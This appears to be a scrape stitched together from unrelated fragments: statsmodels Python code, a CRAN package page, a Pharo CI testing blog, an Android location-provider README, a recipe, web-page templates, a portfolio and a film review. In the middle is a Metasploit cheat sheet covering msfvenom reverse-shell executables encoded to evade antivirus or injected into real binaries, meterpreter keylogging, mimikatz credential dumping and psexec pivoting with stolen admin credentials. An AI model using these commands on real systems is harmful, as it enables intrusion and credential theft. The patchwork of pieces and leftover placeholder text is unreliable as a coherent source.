# print stats.f.isf(1-alpha, n_params, res.df_modelwc)
pvals = stats.f.sf(cooks_d2, self.k_vars, self.results.df_resid)
return cooks_d2, pvals
@property
def d_linpred(self):
"""
Change in linear prediction
This uses one-step approximation of the parameter change to deleting
one observation ``d_params``.
"""
# TODO: This will need adjustment for extra params in Poisson
# use original model exog not transformed influence exog
exog = self.results.model.exog
return (exog * self.d_params).sum(1)
@property
def d_linpred_scaled(self):
"""
Change in linpred scaled by standard errors
This uses one-step approximation of the parameter change to deleting
one observation ``d_params``, and divides by the standard errors
for linpred provided by results.get_prediction.
"""
# Note: this and the previous methods are for the response
# and not for a weighted response, i.e. not the self.exog, self.endog
# this will be relevant for WLS comparing fitted endog versus wendog
return self.d_linpred / self._get_prediction.linpred.se_mean
@property
def _fittedvalues_one(self):
"""experimental code
"""
import warnings
warnings.warn('this ignores offset and exposure', UserWarning)
# TODO: we need to handle offset, exposure and weights
# use original model exog not transformed influence exog
exog = self.results.model.exog
fitted = np.array([self.results.model.predict(pi, exog[i])
for i, pi in enumerate(self.params_one)])
return fitted.squeeze()
@property
def _diff_fittedvalues_one(self):
"""experimental code
"""
# in discrete we cannot reuse results.fittedvalues
return self.results.predict() - self._fittedvalues_one
@cache_readonly
def _res_looo(self):
"""collect required results from the LOOO loop
all results will be attached.
currently only 'params', 'mse_resid', 'det_cov_params' are stored
Reestimates the model with endog and exog dropping one observation
at a time
This uses a nobs loop, only attributes of the results instance are
stored.
Warning: This will need refactoring and API changes to be able to
add options.
"""
from statsmodels.sandbox.tools.cross_val import LeaveOneOut
get_det_cov_params = lambda res: np.linalg.det(res.cov_params())
endog = self.results.model.endog
exog = self.results.model.exog
init_kwds = self.results.model._get_init_kwds()
# We need to drop obs also from extra arrays
freq_weights = init_kwds.pop('freq_weights')
var_weights = init_kwds.pop('var_weights')
offset = offset_ = init_kwds.pop('offset')
exposure = exposure_ = init_kwds.pop('exposure')
n_trials = init_kwds.pop('n_trials', None)
# family Binomial creates `n` i.e. `n_trials`
# we need to reset it
# TODO: figure out how to do this properly
if hasattr(init_kwds['family'], 'initialize'):
# assume we have Binomial
is_binomial = True
else:
is_binomial = False
params = np.zeros(exog.shape, dtype=float)
scale = np.zeros(endog.shape, dtype=float)
det_cov_params = np.zeros(endog.shape, dtype=float)
cv_iter = LeaveOneOut(self.nobs)
for inidx, outidx in cv_iter:
if offset is not None:
offset_ = offset[inidx]
if exposure is not None:
exposure_ = exposure[inidx]
if n_trials is not None:
init_kwds['n_trials'] = n_trials[inidx]
mod_i = self.model_class(endog[inidx], exog[inidx],
offset=offset_,
exposure=exposure_,
freq_weights=freq_weights[inidx],
var_weights=var_weights[inidx],
**init_kwds)
if is_binomial:
mod_i.family.n = init_kwds['n_trials']
res_i = mod_i.fit(start_params=self.results.params,
method='newton')
params[outidx] = res_i.params.copy()
scale[outidx] = res_i.scale
det_cov_params[outidx] = get_det_cov_params(res_i)
return dict(params=params, scale=scale, mse_resid=scale,
# alias for now
det_cov_params=det_cov_params)


View Highscores
Coding Quiz Challenge
Try to answer the following code related questions within the time limit. keep in mind that incorrect answers will penalize your score time by ten seconds!
Start the Quiz
Enter Initials:
Submit


User interface and setup:- sudo systemctl start postgresql
- sudo systemctl enable postgresql
- sudo msfdb init
- sudo apt update && sudo apt install metasploit-framework
- msfconsole
- version
- help
- show/show -h
- use
- info
- show options
- set/unset
- setg/unsetg
- run/exploit
- back
- previous
- clear
- services
- hosts
- creds
- db_nmap
- workspace/workspace -a XXX/workspace XXX/workspace -d XXX
- search/search -h
- search type:auxiliary name:smb
Exploit modules:
Metasploit payloads:- Staged payloads (i.e. shell/reverse_tcp): the payload is sent in its entirety together with the exploit code
- Non-staged payloads (i.e. shell_reverse_tcp): a staged payload is usually sent in two parts. The first part is usually a small primary payload that causes the victim machine to call back to the attacker, transfer a larger shellcode and then execute it.
- Situations where a staged payload is preferred over a non-staged payload are for example when the vulnerability we are exploiting does not provide enough buffer space to pass the full payload in one time or to avoid anti-virus detection
Meterpreter:- Meterpeter is a multi-function payload that can be dynamically extended at runtime
- This means that a meterpreter shell offers, on top of the features of a standard shell, functionalities such as file transfer, key logging, etc.
- meterpreter > help
- meterpreter > sysinfo
- meterpreter > getuid
- meterpreter > upload sourcepathlocal destinationpathremote
- meterpreter > download sourcepathremote destinationpathlocal
- meterpreter > pwd
- meterpreter > ls
- meterpreter > cd
- meterpreter > shell (***this is a persistent shell, we can close it and respawn a new shell with meterpeter***)
- meterpreter > execute -f notepad
- meterpreter > ps
- meterpreter > kill
- meterpreter > exit
Executable payloads:- Metasploit payloads can be exported into files with various extensions (i.e. .asp, .vbs, .jar, .war, .dll, .exe, ...)
- msfvenom -p windows/shell_reverse_tcp LHOST=<IP_ADDRESS> LPORT=443 -f exe -o shell_reverse.exe
- msfvenom -p windows/shell_reverse_tcp LHOST=<IP_ADDRESS> LPORT=443 -f exe -e x86/shikata_ga_nai -i 9 -o shell_reverse_encoded.exe
- Metasploit can also inject payloads into existing executables
- msfvenom -p windows/shell_reverse_tcp LHOST=<IP_ADDRESS> LPORT=443 -f exe -e x86/shikata_ga_nai -i 9 -x /usr/share/windows-resources/plink.exe -o shell_reverse_encoded_embedded.exe
- Alternatively to msfvenom, we can generate the same payload-injected executables from within metasploit, with the generate command
Metasploit Exploit Multi Handler:- We use the multi handler with the command: msf5 > use multi/handler
- The we set all the required options: set options
- We then run the handler with the -j flag, which sends the listener in background and does not block the metasploit console while waiting for the victim to connect: msf5 > exploit -j
- We can check the background jobs with the jobs command: msf5 > jobs
Client-side attacks:- Metasploit supports many executable formats that are particularly useful when implementing client-side attacks, for example hta-psh, vba and vba-psh
- We can review these formats with: msf5 > msfvenom -l formats | head -n 35
- Metasploit also contains multimple browser exploits (i.e. using vulnerabilities in flash)
Advanced features and transports:- One of these advanced features are advanced encoders for payloads:
- msf5 > use multi/handler
- msf5 > show advanced
- msf5 > set EnableStageEncoding true
- msf5 > set StageEncoder x86/shikata_ga_nai
- Autorun: the autorun options allows metasploit to execute an action when a meterpreter connection is established, especially useful during a client-side attack. For example, we can configure the windows enum_logged_on_users module to automatically enumerate logged in users when meterpreter connects:
- msf5 > set AutoRunScript windows/gather/enum_logged_on_users
- msf5 > exploit
- We can also temporarily exit the meterpreter shell, perform other tasks within the metasploit framework and then re-entrer the meterpeter session if needed:
- meterpreter > background
- msf5 > sessions -l
- msf5 > sessions -i X
- We can use meterpreter payload transports to switch protocol after the initial compromise:
- To list available transports for the current meterpreter session: meterpreter > transport list
- We can add a new transport protocol to the current meterpreter session with: meterpreter > add -t reverse_tcp -l <IP_ADDRESS> -p 5555
- To change transport method to the newly created one: meterpreter > transport next
Post-Exploitation with Metasploit:- Core post-exploitation features:
- Screenshot command: meterpreter > screenshot
- Key logger:
- meterpreter > keyscan_start
- meterpreter > keyscan_dump
- Migrating processes: we can move the execution of meterpreter to a different process if needeed. Note that we are allowed to migrate to processes executed at integrity level or privilege equal or lower than that of the current process
- meterpreter > ps
- meterpreter > migrate blablaprocessid
- Post-exploitation modules:
- Powershell meterpreter module:
- meterpreter > load powershell
- meterpreter > help powershell
- meterpreter > powershell_execute "$PSVersionTable.PSVersion"
- Mimikatz meterpreter module:
- meterpreter > load kiwi
- meterpreter > getsyste
- meterpreter > cred_msv
- Pivoting with the metasploit framework:
Let'- s leverage our existing meterpreter session to enumerate the internal network Active Directory infrastructure and pivot to other machines.
- For example we want to scan a machine on the <IP_ADDRESS>/24 network (the target machine is <IP_ADDRESS>), while our meterpreter session is open on a dual-homed machine with IP addresses <IP_ADDRESS> and <IP_ADDRESS>:
- msf5 > route add <IP_ADDRESS>/24 2
- msf5 > route print
- msf5 > use auxiliary/scanner/portscan/tcp
- msf5 > set RHOSTS <IP_ADDRESS>
- msf5 > set PORTS 445, 3389
- msf5 > run
- Since we have already reached Domain Admin access level credentialsm we can try to pivot to the machine at <IP_ADDRESS>:
- msf5 > use exploit/windows/smb/psexec
- msf5 > show options
- msf5 > set SMBDomain corp
- msf5 > set SMBUser jeff_admin
- msf5 > set SMBPass Qwerty09!
- msf5 > set RHOSTS <IP_ADDRESS>
- msf5 > set payload windows/meterpreter/bind_tcp
- msf5 > set RHOST <IP_ADDRESS>
- msf5 > set LPORT 444
- It is important to note that the added route will work only for already established connections, thus the new shell on <IP_ADDRESS> must be a bind shell (a reverse shell payload wouldn"t work)
-
- Autoroute:
- Alternatively to manual pivoting, we can use the Autoroute post-exploitation module:
- msf5 > use multi/manage/autoroute
- msf5 > show options
- msf5 > session -l
- msf5 > set SESSION 2
- We run the module to set the new route automatically:
-
- socks4a:
- We can combine routes with the sock4a server module to configure a socks proxy to allow applications outside the metasploit framework to tunnel thru the pivot:
- msf5 > use auxiliary/server/socks4a
- msf5 > show options
- msf5 > set SRVHOST <IP_ADDRESS>
- msf5 > exploit -j
- We now need to update pur proxychains configuration file (/etc/proxychains.conf) to take advantage of the soks proxy by adding a configuration line at the end of the conf file:
- sudo bash -c "socks4 <IP_ADDRESS> 1080" >> /etc/proxychains.conf
- Finally, we can use proxychains to run rdestop to obtain GUI access from our kali machine to the machine in the internal network:
- sudo proxychains rdesktop <IP_ADDRESS>
- Port forwarding:
- We can use the portfwd command from inside a meterpreter session, which will forward a specific port into the internal network:
- meterpreter > portfwd -h
- meterpreter > add -l 3389 -p 3389 -r <IP_ADDRESS>
- Then, we point the rdesktop application to our localhost to actually connect to the machine in the internal network on <IP_ADDRESS>:
Metasploit automation:- Resource scripts:
- sudo msfconsole -r setup.rc


Functions for fitting semiparametric regression models for panel count survival data. An overview of the package can be found in Wang and Yan (2011) <doi:10.1016/j.cmpb.2010.10.005> and Chiou et al. (2018) <doi:10.1111/insr.12271>.
| Version: | 1.0.8 |
| Depends: | R (≥ 3.4.0) |
| Imports: | BB, SQUAREM, ggplot2, methods, sm, survival, plyr, nleqslv |
| Published: | 2018-08-01 |
| Author: | Sy Han (Steven) Chiou [aut, cre], Xiaojing Wang [aut], Jun Yan [aut] |
| Maintainer: | Sy Han (Steven) Chiou <schiou at utdallas.edu> |
| BugReports: | http://github.com/stc04003/spef/issues |
| License: | GPL (≥ 3) |
| URL: | http://github.com/stc04003/spef |
| NeedsCompilation: | yes |
| CRAN checks: | spef results |
| Reference manual: | spef.pdf |
| Package source: | spef_1.0.8.tar.gz |
| Windows binaries: | r-devel: spef_1.0.8.zip, r-release: spef_1.0.8.zip, r-oldrel: spef_1.0.8.zip |
| OS X binaries: | r-release: spef_1.0.8.tgz, r-oldrel: spef_1.0.8.tgz |
| Old sources: | spef archive |
Please use the canonical form https://CRAN.R-project.org/package=spef to link to this page.


API Backend Project: File Metadata Microservice
User Stories:
This microservice implements the following user stories:
- I can submit a FormData object that includes a file upload.
- When I submit something, I will receive the file size in bytes within the JSON response.
Test Harness
This test harness posts to $URL$api/fileanalyse


You have to test your code!
I mean, really.
But sometimes, testing is hard, because you do not know how to start (often because it was hard to start with TDD or better XtremTDD ).
One challenging situation is the creation of mocks to represent real cases and use them as test resources. This situation is common when dealing with code modeling and meta-modeling.
Writing a model manually to test features on it is hard. Today, I’ll show you how to use GitHub Actions as well as GitLab CI to create tests for the Moose platform based on real resources.
First of all, let’s describe a simple process when working on modeling and meta-modeling.
When analyzing a software system using MDE, everything starts with parsing the source code of the application to produce a model. This model can then be stored in a file. Then, we import the file into our analysis environment, and we use the concrete model.
All these steps are performed before using the model.
However, when we create tests for the Use
step, we do not perform all the steps before.
We likely just create a mock model.
Even if this situation is acceptable, it is troublesome because it disconnects the test from the tools (which can have bugs) that create the model.
One solution is thus not to create a mock model, but to create mock source code files.
Proposed approach
Using mock source code files, we can reproduce the process for each test (or better, a group of tests )
In the following, I describe the implementation and set-up of the approach for analyzing Java code, using Pharo with Moose. It consists of the following steps:
- Create mock resources
- Create a bridge from your Pharo image to your resources using PharoBridge
- Create a GitLab CI or a GitHub Action
- Test
Create mock resources
The first step is to create mock resources. To do so, the easiest way is to include them in your git repository.
You should have the following:
> ci // Code executed by the CI
> src // Source code files
> tests // Tests ressources
Inside the tests
folder, it is possible to add several subfolders for different test resources.
Create a Pharo Bridge
To easily use the folder of the test resource repository from Pharo, we will use the GitBridge project.
The project can be added to your Pharo Baseline with the following code fragment:
spec
baseline: 'GitBridge'
with: [ spec repository: 'github://jecisc/GitBridge:v1.x.x/src' ].
Then, to connect our Pharo project to the test resources, we create a class in one of our packages, a subclass of GitBridge
`.
A full example would be as follows:
Class {
#name : #MyBridge,
#superclass : #GitBridge,
#category : #'MyPackage-Bridge'
}
{ #category : #initialization }
MyBridge class >> initialize [
SessionManager default registerSystemClassNamed: self name
]
{ #category : #'accessing' }
MyBridge class >> testsResources [
^ self root / 'tests'
]
The method testsResources
can then be used to access the local folder with the test resources.
Warning: this setup only works locally. To use it with GitHub and GitLab, we first have to set up our CI files.
Set up CI files
To set up our CI files, we first create in the ci
folder of our repository a pretesting.st
file that will execute Pharo code.
(IceRepositoryCreator new
location: '.' asFileReference;
subdirectory: 'src';
createRepository) register
This code will be run by the CI and register the Pharo project inside the Iceberg tool of Pharo. This registration is then used by GitBridge to retrieve the location of the test resources folder.
Then, we have to update the .smalltalk.ston
file (used by every Smalltalk CI process) and add a reference to our pretesting.st
file.
SmalltalkCISpec {
#preTesting : SCICustomScript {
#path : 'ci/pretesting.st'
}
...
}
Set up GitLab CI
The last step for GitLab is the creation of the .gitlab-ci.yml
file.
This CI can include several steps. We now present the steps dedicated to testing the Java model, but the same steps apply to other programming languages.
First, we have to parse the tests-resources using the docker version of VerveineJ
stages:
- parse
- tests
parse:
stage: parse
image:
name: badetitou/verveinej:v3.0.0
entrypoint: [""]
needs:
- job: install
artifacts: true
script:
- /VerveineJ-3.0.0/verveinej.sh -Xmx8g -Xms8g -- -format json -o output.json -alllocals -anchor assoc -autocp ./tests/lib ./tests/src
artifacts:
paths:
- output.json
The parse
stage uses the v3
of VerveineJ, parses the code, and produces an output.json
file including the produced model.
Then, we add the common tests
stage of Smalltalk ci.
tests:
stage: tests
image: hpiswa/smalltalkci
needs:
- job: parse
artifacts: true
script:
- smalltalkci -s "Moose64-10"
This stage creates a new Moose64-10
image and performs the CI based on the .smalltalk.ston
configuration file.
Setup GitHub CI
The last step for GitLab is the creation of the .github/workflows/test.yml
file.
In addition to a common smalltalk-ci workflow, we have to configure differently the checkout step, and add a step that parses the code.
For the checkout step, GitBridge (and more specifically Iceberg) needs the history of commits. Thus, we need to configure the checkout actions to fetch the all history.
- uses: actions/checkout@v3
with:
fetch-depth: '0'
Then, we can add a step that runs VerveineJ using its docker version.
- uses: addnab/docker-run-action@v3
with:
registry: hub.docker.io
image: badetitou/verveinej:v3.0.0
options: -v $:/src
run: |
cd tests
/VerveineJ-3.0.0/verveinej.sh -format json -o output.json -alllocals -anchor assoc .
cd ..
Note that before running VerveineJ, we change the working directory to the tests folder to better deal with source anchors of Moose.
You can find a full example in the FamixJavaModelUpdater repository
Test
The last step is to adapt your tests to use the model produced from the mock source. To do so, it is possible to remove the creation of the mock model by loading the model.
Here’s an example:
externalFamixClass := FamixJavaClass new
name: 'ExternalFamixJavaClass';
yourself.
externalFamixMethod := FamixJavaMethod new
name: 'externalFamixJavaMethod';
yourself.
externalFamixClass addMethod: externalFamixMethod.
myClass := FamixJavaClass new
name: 'MyClass';
yourself.
externalFamixMethod declaredType: myClass.
famixModel addAll: {
externalFamixClass.
externalFamixMethod.
myClass }.
The above can be converted into the following:
FJMUBridge testsResources / 'output.json' readStreamDo: [ :stream |
famixModel importFromJSONStream: stream ].
famixModel rootFolder: FJMUBridge testsResources pathString.
externalFamixClass := famixModel allModelClasses detect: [ :c | c name = 'ExternalFamixJavaClass' ].
myClass := famixModel allModelClasses detect: [ :c | c name = 'MyClass' ].
externalFamixMethod := famixModel allModelMethods detect: [ :c | c name = 'externalFamixJavaMethod' ].
Congrats
You can now test your code on a model generated as a real-world model!
It is clear that this solution slows down tests performance, however. But it ensures that your mock model is well created, because it is created by the parser tool (importer).
A good test practice is thus a mix of both solutions, classic tests in the analysis code, and full scenario tests based on real resources.

Thanks C. Fuhrman for the typos fixes.


Unified Network Location Provider
The next generation Network Location Provider, based on plugins. Usually abbreviated as UnifiedNlp.
Installation
Release builds may be found on the release page.
Android 4.4 - 6.0 (KitKat / Lollipop / Marshmallow)
Most modern ROMs come with support for non-Google geolocation providers. On these systems installation is easy:
- Make sure that no Google geolocation tool is installed (it is usually listed as Google Play Services in Apps)
- Download and install
NetworkLocation.apk
as a usual app (you may need to enable "Unknown sources" in Settings->Security) - Reboot and continue at Usage
Some ROMs, especially those not based on AOSP might have problems using this method. However, if your system has root, you can try installing the hard way:
- Download
NetworkLocation.apk
- Mount
/system
read-write (from your PC, calladb root && adb remount
) - Copy
NetworkLocation.apk
to/system/priv-app
(from your PC, calladb push NetworkLocation.apk /system/priv-app/NetworkLocation.apk
) - Reboot (from you PC, call
adb reboot
) and continue at Usage
Android 2.3 - 4.3 (Gingerbread / Honeycomb / Ice Cream Sandwich / Jelly Bean)
Older Android versions are no longer officially supported. However I still provide a legacy build, that should be compatible with those systems. It is required to have a rooted system to install on Jelly Bean and older.
- Download
LegacyNetworkLocation.apk
- Mount
/system
read-write (from your PC, calladb root && adb remount
) - Copy
LegacyNetworkLocation.apk
to/system/app
(from your PC, calladb push LegacyNetworkLocation.apk /system/priv-app/NetworkLocation.apk
) - Reboot (from you PC, call
adb reboot
) and continue at Usage
Usage
UnifiedNlp alone does not provide any features, but acts as a middleware for multiple backends.Most of them can be downloaded and updated using F-Droid Here is a list of backends for geolocation and (reverse) geocoding known to me:
- AppleWifiNlpBackend - backend that uses Apple's service to resolve wifi locations
- OpenWlanMapNlpBackend - backend that uses OpenWlanMap.org to resolve user location.
- OpenBmapNlpBackend - backend that uses openBmap to resolve user location.
- MozillaNlpBackend - backend that uses the Mozilla Location Service to resolve user location.
- PersonalWifiBackend - Local location provider for WiFi APs using on-phone generated database.
- LocalGSMLocationProvider - Local opencellid based location provider backend
- LocalGSMBackend - Local location provider for gsm cells with separate database file (lacells.db)
- NominatimGeocoderBackend
- (...) Create issue or pull request to extend either list :)
After installing a backend, you can use UnifiedNlp by activating network-based geolocation in Settings->Location.
Since KitKat, you need to select any mode but "device only", on older Android version this setting is called "Wi-Fi & mobile network location"
(ignore any misleading texts saying this is for Google's location service, you don't have Google's service installed but UnifiedNlp
Backend-development
The API is available here. Documentation may be found in the README provided with the API.
You might also take a look into existing backends, to see how they work out.
Building
UnifiedNlp can be built using Gradle. Current builds are done using Gradle 2.2, but other versions might work as well.
To build with Gradle, first download git submodules:
git submodule update --init
AOSP Build system integration
UnifiedNlp can be build as part of Android when building an Android ROM from source.
Add this repo to your (local) manifest.xml, as well as the UnifiedNlpApi and extend the PRODUCT_PACKAGES
variable with NetworkLocation
for KitKat and LegacyNetworkLocation
for Jelly Bean.
You can also directly invoke the compilation of UnifiedNlp by calling make UnifiedNlp
or make NetworkLocation
(respectively make LegacyNetworkLocation
) from the build system root.
Note that you need to add UnifiedNlpApi and MicroGUiTools to the build system for UnifiedNlp to compile:
<project name="microg/android_packages_apps_UnifiedNlp" path="packages/apps/UnifiedNlp" remote="github" revision="master"/>
<project name="microg/android_external_UnifiedNlpApi" path="external/UnifiedNlpApi" remote="github" revision="master"/>
<project name="microg/android_external_MicroGUiTools" path="external/MicroGUiTools" remote="github" revision="master"/>
Attribution
Some components: Copyright (C) 2013 The Android Open Source Project
compat
-folder is extracted from different AOSP versions for cross-version compatibility
License
Copyright 2013-2015 microG Project Team
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.


Riskrem (rice cream)
A norwegian dessert made of rice porridge and whipped cream. Often served with a red syrup sauce or berry sauce (just some berries and optionally some sugar briefly boiled). Note that because it's often made with leftovers from rice porridge served a day or two earlier (it would be a bit too much to have a cristmas dinner with rice porridge and then have this for dessert), and that it's readily available pre-cooked in stores in Norway, this recipe ommits the making of the porridge (basically short grained rice cooked in milk).
metadata
Created on 2022-12-04
Adapted from Riskrem @ matprat.no (2022-12-04)
Recipe should yield this much: None None. None None. None None.
Estimated time needed: At least 8 minutes. At most 8 minutes.
Ingredients
| 1000 | g | rice porridge | without added sugar | |
| 100 | g | sugar | ||
| 6 | dl | cream | The one we use is about 37% fat. | |
| 5 | g | vanilla sugar | 1 teaspoon of vanilla sugar (basically powdered sugar with vanilla taste) is aobut 2.6 g. |
Scaling
Timeline
Directions
⌛ Active time 5 minutes
- 6 dl cream | The one we use is about 37% fat.
- 100 g sugar
- 5 g vanilla sugar | 1 teaspoon of vanilla sugar (basically powdered sugar with vanilla taste) is aobut 2.6 g.
Whip cream:
Whip together cream, which you will later fold the rice porridge gently into. Note that this recipe assumes that the porridge is without sugar, so if you've made a sweetened version you are using the leftovers of, or are using a premade one with added sugar, consider reducing the amounts of sugar that you add in this step. Also note that while you can omitt the vanilla sugar, I would substitute it with plain powdered sugar if the reason for the substitution being that you don't have vanilla sugar at hand, or prefer using vanilla extract. The reason for this is that powdered sugar adds a different kind of sweetness than regular sugar, and this benefits from that.
⌛ Active time 3 minutes
- 1000 g rice porridge | without added sugar
Fold rice porridge into the cream:
Gently fold in the rice porridge, so that the cream doesn't deflate.


## What is the internet?
### [40 Maps that Explain the Internet](https://www.vox.com/a/internet-maps)
### HTTP Hypertext Transfer Protocol, to send and receive data
### URL Uniform Resource Locator, to uniquely identify data
### HTML HyperText Markup Language, the building blocks of webpages
### [The Kids Guide to the Internet](https://youtu.be/mfMrVKnGzwg?t=73)
#### Two myths currently limit our collective imagination: the myth that advertising is the only possible business model for online companies, and the myth that it’s too late to change the way platforms operate. On both points, we need to be a little more creative. Tim Berners-Lee, [The Web is Under Threat](https://webfoundation.org/2018/03/web-birthday-29/)
## New metaphors
#### What is needed is not new technology, but new metaphors: a metalanguage for describing the world that complex systems have wrought […] that simultaneously acknowledges and addresses the reality of a world in which people, politics, culture and technology are utterly enmeshed. James Bridle, [New Dark Age](https://www.versobooks.com/books/3002-new-dark-age)
### Global village ### Information superhighway ### The cloud ### Town square
### Surf ### Scroll ### Desktop ### File
## Exercise 0 Split into pairs. Interview each other about your first memory of the Internet.  You can draw as many versions as you like. (5 minutes)
## Exercise 3 Draw a map of the Internet. Label where your home is on the map. (10 minutes)
### Hyperlinks [What Shape is the Internet?](https://noahveltman.com/internet-shape/) [Critical Atlas of the Internet](http://internet-atlas.net/) [Web Design as Architecture](http://www--arc.com/) [Seeing Networks in New York City](http://seeingnetworks.in/nyc/) [Web Design: The First 100 Years](https://idlewords.com/talks/web_design_first_100_years.htm)


Please enter that net! network error， video will be reloaded！ OK! 10 我是弹幕11111 我是弹幕2222222 我是弹幕3 0:00/0:00
Traval Tips {foreach $tips as $key1 => $val1} 10 Best Balinese Food Neighborhood Foods You Must Try When Visiting Bali by{$val1.name} {$val1.createtime} 0 {$val.sketch} Read more {/foreach}


Get in touch today
Have a new project in mind? Drop us a line about your project needs, we answer same day.
@@include('./_head.html', { "path": "../..", "title": "Pixel Bootstrap 5 - Contact" })
@@include('./_navigation.html', { "path": "../..", "classes": "navbar-dark navbar-theme-primary" })Have a new project in mind? Drop us a line about your project needs, we answer same day.


Dominion Dental Hospital(D2)
The Dominion Dental Hospital was founded by Dr. Charlote Flair...
and has been in private
practice for over 12 years. She has received national acclaim for her expertise.
Additionally, Dr.Charlote has a passion for teaching comprehensive,
state-of-the-art, restorative & prosthetic dentistry to dental students and fellow dentists.
Since 2003 Dr.Charlote has been on the Faculty at The Ohio State University College of Dentistry.
She has taught several classes and courses to dental students and is a part-time OSU Dental Clinic Instructor.
We’d love to have you as one of our valued patients.
Schedule your appointment today, and discover how the people of D2 make all the difference!
Directions
From city X, just board a routeB bus and it will drop you off
right outside our hospital. It is not costly at all, it will cost you
only Y dollars. Time duration to get there is only 100min


Below is a collection of projects, as well as work experience.
Corpus Based Scrabble
Final Year Project
Scottish Gaelic FST
Erasmus Dissertation
Photo Editing
GIMP & PhotoShop
Other Sites
Website Design
Science Gallery
Trinity College Dublin
Old Anatomy Department
Trinity College Dublin
Experience
A timeline of the past decade of my life.
September 2010
German Language Institution, Berlin
Attended the German Language Institution in Berlin, and did Film and Photography Technical Courses
Summer 2012
Worked at the London Olympics
Involved in a Media capacity with the 2012 London Olympics
July 2013
Began in University of Glasgow
Started studying my degree in the University of Glasgow, I started in 2nd year as I had just completed a foundation degree in Glasgow International College in order to attend the University and was thus allowed to skip 1st year.
June 2016
Graduated from University of Glasgow
Graduated with a 2.2 Honours Degree from University of Glasgow with a Political and Sociological degree. Time to experience the real world!!
References
Feel free to contact any of references below in regard to my abilities.
Nina Macdonald
Head of Factual Programming, Gust<EMAIL_ADDRESS>David Power
Developer, Webio Dublin<EMAIL_ADDRESS>Carl Macpherson
Psychology Graduate, University of Glasgow<EMAIL_ADDRESS>Contact Details
Like what you see? That's great! Give me a call or send me an email and I will get back to you as soon as possible!
+4477 11296904
<EMAIL_ADDRESS>Corpus Based Scrabble
Lorem ipsum dolor sit amet consectetur.
For my final year project, I created a functioning corpus based scrabble application. An application where the user (or player) could choose to either play Scrabble in English, Irish or any language they wanted so long as they had a corpus text file of that language. The application would take such a corpus, redistribute the values associated with letters and the frequency with which they occur in the game, and use the corpus as the dictionary in the game stored as a Trie data structure. I received a First Class Honours for this project.
The code as well as the report on the project can be seen in this shared Google Drive folder.
Gaelic Verb Morphological Analyser
Lorem ipsum dolor sit amet consectetur.
For my Erasmus Dissertation I designed and implemented a morphological transducer for the verbs in Scottish Gaelic using the Xerox Finite State Tool, XFST. I used several FSAs, or finite state automatons to model the morphotactic rules, such as the one below:
I received a First Class Honours for this dissertation and the report, which contains the code in it's appendix, is viewable here.
Photo Editing
A collection of my creations using GIMP and Photoshop
I have always been interested in the creative side of computers alongside the coding side of things, so it made sense that something like Photoshop would appeal to me. I learned this skill through self learning and initiative, often creating gifts for friends, like the portrait above which I made for a friend's birthday. It started with GIMP, GNU Image Manipulation Program, which I came into contact with in the Linux labs of Trinity. I messed around with this during my spare time over the years and eventually was able to edit photos at a decent level, the result of which can be seen throughout this site.
Being creative and exploring that aspect of myself has always been important to me, as evidenced by taking art for the Leaving Certificate when it could only be done after school outside of school hours. I therefore also tried out Photoshop, and this section is just a little showcase of some of my works, I hope you enjoy.
The above image is my first attempt at the double exposure effect, I followed several youtube tutorials in order to learn how to do it, and I used Tupac Shakur as the central character, having a quote from him at the top which resonated with me at the time.
I had been influenced by various minimalist artists I had seen at the time to try and replicate their effect by removing all facial features except for hair of myself and a few friends to see what the outcome would be like.
The above piece was just a throw away joke image that I made in 20 minutes or so, and is more representative of the type of images I make. I usually make edit an image together when someone mentions something and an idea comes together which I find funny and I then try and make that idea a reality in an image, this has led to some wonderful creations and improved my ability with photo editing immensely.
Other Sites
Here is a collection of other sites I have created
Since graduating, I have started to learn web development on Lynda.com, as it is an area I was interested in but did not get an opportunity to study at University. I have already been approached and made some small websites for friends, and intend to continue making little websites of my own to improve my skills. I shall link these websites to this section
In April 2016 I created a small website to assist a friend in one of their projects. The website was not integral to the project but was used to add flair to it. It was for an imaginary business venture that they had to make up. It can be seen here.
Science Gallery
A reflection of my time in the Science Gallery
I developed excellent interpersonal and communication skills as a SGD mediator, conveying complex scientific concepts to general public in an interdisciplinary space through tours and one on one interactions. I delivered hands-on technical workshops in soldering and electronics for adults and children at Science Gallery's MakeShop. I had to be a flexible and responsive team-player working in dynamic environments to facilitate diverse events in the Science Gallery and off site, for example TED X Dublin.
Below you can find a list of all of the exhibitions I worked at during my time in the Gallery, each of which is also a link to a short YouTube video explaining the theme of that exhibition:
I thoroughly enjoyed my time with the Science Gallery, and can't thank the other staff members enough for all they taught me.
Old Anatomy Department
My time in the old anatomy department
I worked in the Old Anatomy Department of Trinity College for 10 weeks over the Summer of 2014. In these weeks I cleaned, organised and catalogued many items which hadn't been moved in decades. I cleaned and organised the Museum building, I catalogued and cleaned over 200 historical sketches found underneath the Lecture Hall Theatre. I was given keys to the department and had to clear out old lecturer's and professor's rooms
Through my work in the Anatomy Department I learned the value of correctly cataloguing and storing specimens. I had to show respect to the premises and specimens I was dealing with. I learned a lot about the human body during my time working, and thoroughly appreciate it.
Berlin
Third Level Education, 2010 - 2013
Blah di bla Deutsch!
2012 Summer Olympics
London, England
Blah de Blah blah blah
University of Glasgow
July 2013 - June 2016
Something about Gust, the Stone Vagina, and maybe a bit about what you actually studied :P
Graduation Day
23rd of June 2016
I graduated from University of Glasgow on the 23rd of June 2016 with a 2.2 Honours Degree.
I had an amazing day and it was an honour and a privilege to have had such wonderful people studying in the course alongside me, and for my family to celebrate with me on the day.


Main Navigation
Home
About Us
Contact Us
Our History
Store
Check out our special collaboration with CLEAR CARE® PLUS
LEARN MORE...
6 Pack - $12.99
Snapback Hat - $39.99


MUSIC FROM ANOTHER ROOM A film review by Matt Williams
RATING: * out of * * * *
Is love at first sight possible? The romantic comedy, Music From Another Room would like you to believe so. However, it doesn't make a very convincing argument.
Danny (Jude Law) has met his true love. It happened when he was five years old...he helped to deliver a newborn named Anna Swan, and knew that one day they would marry.
Flash forward many years. Danny accidentally stumbles across the Swan family again and sets about integrating himself into their lives. The mother of the family (Brenda Blethyn) remembers him, but the rest of the family is not so sure of his intentions. Particularly when his feelings for Anna become known.
Anna (Gretchen Mol), you see, has grown up and is now engaged to be married to Eric (Jon Tenney). She has also turned out to be rather cold and remote. Why Danny spends the entire movie chasing after her is a complete mystery.
